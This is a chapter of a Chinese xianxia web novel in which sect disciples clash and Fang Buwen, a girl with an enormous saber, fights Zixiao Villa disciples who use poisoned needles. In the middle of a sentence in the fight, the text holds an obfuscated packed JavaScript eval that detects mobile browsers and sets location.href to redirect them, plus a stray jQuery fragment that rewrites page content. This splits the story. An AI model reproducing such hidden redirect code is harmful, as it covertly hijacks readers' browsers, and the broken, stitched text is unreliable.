66. 大刀妹
作品:《青妖》 饮客居和白棠居离得并不远,出了院子走个百八十步便到了。
还未走到院口,柳却洲便看见白棠居院门口有穿着闲云野鹤袍的弟子不断进出,形容慌张。
“今儿长老阁谁值夜?”
“方不问。”
“快快,快去叫她。”
柳却洲拉住一名拔腿欲走的瀛洲方氏弟子,礼貌问道:“这位兄台,里面发生什么事了?”
另一名弟子连忙将柳却洲的手扯开,催促着柳却洲面前的弟子赶忙离去,随即转过身来向柳却洲解释道:“这位少侠是玄武门的吧?你还是快回饮客居待着罢,里面紫霄山庄的人和我们的人打起来啦!”
“哦?”
柳却洲一听,双眼一亮,似是来了兴致,手中折扇一展向前走去,“那我得去瞧瞧。”
他刚走进院门,便听见一记响亮的鞭子砸地声,随之而来的还有女子高亢尖锐的叱骂。
围观弟子纷纷被那长鞭吓得后退,柳却洲趁机拨开人群挤了进去,“借过借过。”
那持鞭的女子着一身紫衣,柳却洲认得,那是紫霄山庄女弟子的服制。
紫霄山庄的女弟子素爱打扮,倒是也有几分姿色,只是老挂着副愤世嫉俗的凶相,着实难讨男子喜欢。
柳却洲摇摇折扇摇摇头,转头看向另一边。
这一瞧,柳却洲的双眼一下便睁大了。
那鞭子指向的地方正站着两个闲云野鹤袍的瀛洲方氏弟子,高个男弟子站在前面,护着身后那个瘦弱的女弟子。
柳却洲看都没看那男弟子一眼,视线直直落在那瘦弱的女弟子身上。
惹花泪柳公子阅女无数,眼光自是十分老辣,那女子的眉眼,五官,一眼看去便知是实打实的美人儿。
柳却洲摸着下巴浅浅笑了起来。
“你这女人怎的蛮不讲理,还出手打人,我……我们瀛洲是让你撒野的地儿吗?”
护在小七身前的师兄梗着脖子控诉道,他先前已经挨了一鞭子,左手臂现下正火辣辣地疼。
“也不看看这是谁的地盘?”
“就是就是,你们紫霄山庄的都这么没教养的么?”
“一个个跟泼妇似的,还动手打人……”
“就是就是……”
身旁围观的林下弟子们开始起哄,紫绡恶狠狠地朝那边瞪了一眼,立即便有几个林下弟子住了嘴。
紫绡身后的同门师姐们也上前一步,环顾四周高声道:“谁骂的泼妇?站出来?”
围观的林下弟子你看我我看你的,咽了口唾沫后纷纷将头垂下去。
“哼!敢做不敢当是吧?你们瀛洲尽出些没种的崽子……”
那紫霄山庄女弟子话还未说完,便有一林下弟子从人群中站了出来,拍着胸脯大声吼道:“我骂的怎么了?”
那紫霄山庄女弟子刚要动嘴皮子,却见人群中又站出三两个闲云野鹤袍男弟子。
“就是,你们敢在瀛洲撒野还不让人说了?”
“师兄我挺你,这些女人的臭毛病我可不惯着……”
紫绡看着那些梗着脖子逞能的臭男人,冷笑道:“好啊,那你们就一个个地过来比试比试,看是谁不惯着谁。”
挡在小七身前的师兄听见这话后,转过身来将小七往旁边一推,“小天才,你站一边去。”
小七正蹑手蹑脚地往一旁走去,却被紫绡大声叫住。
“你!”
紫绡右手食指直直指向小七:“上哪儿去?滚过来,咱两比划比划。”
小七身旁的师兄怒道:“你欺负她做什么,她是我们师门老幺,你让她跟你比试,不明摆着检软柿子捏吗?”
小七在师兄身后一个劲儿点头:“我什么功夫都不会,你打赢我也不会算你厉害。”
其他林下弟子也开始起哄。
“欺负一个弱女子,算什么英雄?”
“就是就是,你们紫霄山庄,说白了就会欺软怕硬。”
紫绡杏眼圆睁,柳眉一扬,大声道:“她是女子,我也是女子,为何打不得?我也没占着她什么便宜!反倒是她,喂坏了我的见血青,不赔偿就想跑?我们紫霄山庄可不是吃素的!看鞭!”
长鞭腾空而起,在空中转了向朝小七扫去。
鞭势凛冽,大有惊雷闪电之势。
小七躲闪不及,下意识抱头蹲下。她浑身绷紧,哆嗦着等待那刮骨削肉的一鞭。
鞭子没等到,倒是等来了一语气冷肃,却又带着几分稚嫩的女声。
“你执意要同女子交手,那便由我来做你的对手。”
小七畏畏缩缩地将头抬起,一眼便看见把近四寸宽的大刀,惊得她连忙以手撑地后退两步。
她顺着大刀往上看去,才发现身前站着个人。这人个头比身旁的师兄矮上一大截,却背着把几乎和自身身高差不多的大刀。
这大刀没有刀鞘,而是用白布一圈圈地缠了起来。
这人小七知道,是林上弟子方不问,瀛洲方氏数一数二的器修高手。
方不问的名号,在瀛洲岛上也是到了令一众林下弟子闻风丧胆的程度,包括方小七。
“大刀妹来了!太好啦!”
“大刀……不……不问师妹,给她们点颜色瞧瞧!打!”
“小不干她们!师兄挺你!”
方不问左手捏紧了鞭绳,顺势往身前一带,鞭把那头的紫绡冷不防往前一跌,忙松开鞭把以维持平衡。
“哟?这就扛不住啦?咱小师妹都还没出手呢?”
“哈哈哈哈哈哈!瞧瞧!她吓得腿都瘸了!哈哈哈哈……”
“哎哟,方才是谁好蛮横好厉害哦!要让我们一个个过去和她单挑哦!挑啊!你倒是挑啊!”
花南峰的林下弟子在各项修为上实没有什么可取之处,然抛开修行不说,他们擅长的倒是挺多的,拱火便是其中一条。
柳却洲在一旁看戏看得是津津有味,他睨着眼打量着那位“不问师妹”,心道:这女子,虽然看起来瘦弱,身形瞧着同坐在地上的那位差不多,可从她握鞭的手与站姿来看,此人筋骨结实,孔武有力,绝非平平之辈。
晃眼间,柳却洲注意到那大刀女子右手广袖上的闲云野鹤绣样——黑线勾勒的野鹤却是用银线点睛。
林上弟子中竟还有这种奇才。那定是要参与祭月大典上的器修比试的。
柳却洲摇着折扇浅浅一笑。
也不知能与凌霜过上几招……
柳却洲想象了一下这样瘦小的一个女子,挥舞着一把同她自个儿差不多大的刀,站在擂台上与比她高上两个脑袋的凌霜过招。
有意思!着实有意思!
柳却洲望着方不问贼贼地笑了起来。
到时候遇到这样的对手,凌霜该是什么反应呢?
柳却洲正想着,那裹着白布的刀尖就伸到了自己鼻子跟前。
“你,”方不问单手持刀,指向柳却洲,“搁那儿贼眉鼠眼笑啥?”
“贼眉鼠眼?”
柳却洲手指指向自己鼻尖,一脸的不可置信。他行走江湖这么多年,还是第一次听到有人用“贼眉鼠眼”四个字形容自己。
见她板着个脸死死盯着自己,柳却洲刚想调侃她两句,目光却忽然一凛,脱口而出道:“小心!”
方不问反应也极快,持刀的手臂一挥,带过一道劲风,身后便落下数十根银针。
“哇!你们又玩阴的!还要不要脸!”
“老妖婆!还搞偷袭……”
紫绡的目光扫过围观人群,最后落在了方不问身上,重新拾起长鞭飞身上前,“怎么?打你还要跟你通报一声?”
“那倒不用。”
方不问单手持刀横于身前,待长鞭迎头劈下之时转了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086167|190054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方向令刀身向前,接着手腕翻了几圈于空中迅速将长鞭绕至刀上。
紫绡抿紧双唇,双手握把想要落地后用力一拉,谁料方不问却突然将她那千斤重的大刀扔至一旁。
紫绡着实没料到这刀竟有这么重,被方不问这么借力一扔,她整个身子竟与这鞭绳一起被大刀拉着向一旁飞去。
刹那间,方不问高抬右腿一个旋风踢,直接将朝着大刀飞来的紫绡重重踢了回去。
“噗——”
紫绡跌坐于地,一口鲜血从嘴里喷出。
“师妹!”
“师姐!”
紫绡身边的紫霄山庄女弟子忙围了过去。
围观的众人沉默了,方不问也沉默了。
“是不是……有点过了?”
“谁知道她那么不禁打?我看她那样……还以为她多厉害呢。”
“唉!出手的可是大刀妹哎!没几个人挨得住吧?”
听见师哥们在身后小声嘀咕,方不问向身后看去,师哥们忙住了嘴,一个个地东张西望起来。
“好啊!这就是你们瀛洲方氏的待客之道!”
“简直是欺人太甚!”
紫绡的同门师姐妹们抄起各式兵器,瞋目切齿地朝方不问走来。
方不问这才想起,自己方才似乎是被叫过来劝架的。
哎呀,祸反正已经闯了,管他呢。
方不问单手将大刀拾了起来,冷冷道:“你们一起上罢。”
三四个紫衣女子拿着各式兵器向方不问袭来,围观群众忙又退了几步以挪出场地。
小七早已跟护着她的那位师兄退到了一边,混在人群中看热闹。
方不问很小的时候就和哥哥方不闻一起被送到瀛洲岛修行。
哥哥方不闻轻功极好,有“踏水无痕”之称。而她力大如牛,捡个稍重些的刀拿在手里,一刀下去没几个人挨得住。
在她十二岁那年,花南峰上不知从哪儿跑来头野猪,在枫树林里横冲直撞,顶伤了不少林下弟子。而当时只有师兄们一半高的方不问,双手举起一把比她还要长上一截的大刀,一刀就将那头野猪拦腰砍断。
那野猪的前半截身子还往前奔了一节,血糊糊的脏器肠肚跟着流了一地,在场的师兄们当即便吓傻了。
自此,师门内的弟子见着背大刀的女子都要绕道走,平时见到方不问,那更是比见到师尊还要恭敬拘谨。
方不问虽然力气大,但……也就是力气大,身法和刀法也还都差点火候。
这会和三四个紫霄山庄的女弟子交手,倒也勉强能打得有来有回。可紫霄山庄擅用暗器,暗器上还要淬毒,方不问手臂上中了两根银针后,嘴唇很快变得乌青,意识也渐渐模糊起来。
方不问咒骂一声后,大刀向前一扫,趁对手躲闪之际,往后撤了几步。
“呃……我感觉……事情不妙。”
一围观弟子目不转睛地盯着前方,同时伸手扯了扯身边人的衣袖。
柳却洲转头一看,见这一身闲云野鹤袍的弟子拉着他的衣袖不放,想他是看得入迷,将自己错认成他师门的人了。
柳却洲也不见外,将头凑过去小声对他道:“我看你们还是快去搬救兵吧,这小姑娘可要撑不住了。”
那弟子听后一脸错愕地转过头来,见是张陌生面孔,忙松了手,然后替柳却洲拂了拂衣袖。
“这位少侠有所不知,你瞧瞧,小不已经开始解她那裹刀布了,看样子她要动真格。我得去叫人,别等下给那几个女的全劈成两半啰。”
柳却洲闻言看去,方不问的脚下果然散着一条长长的裹刀布,而她手里的那把大刀也完全显露了出来,刀锋锃亮锋利,刀背足有三分厚,看着就令人胆寒。
围观弟子不由得抱紧了胳膊,柳却洲的神情也严肃了几分。
“哎哟!谁他妈不长眼——润阳!”

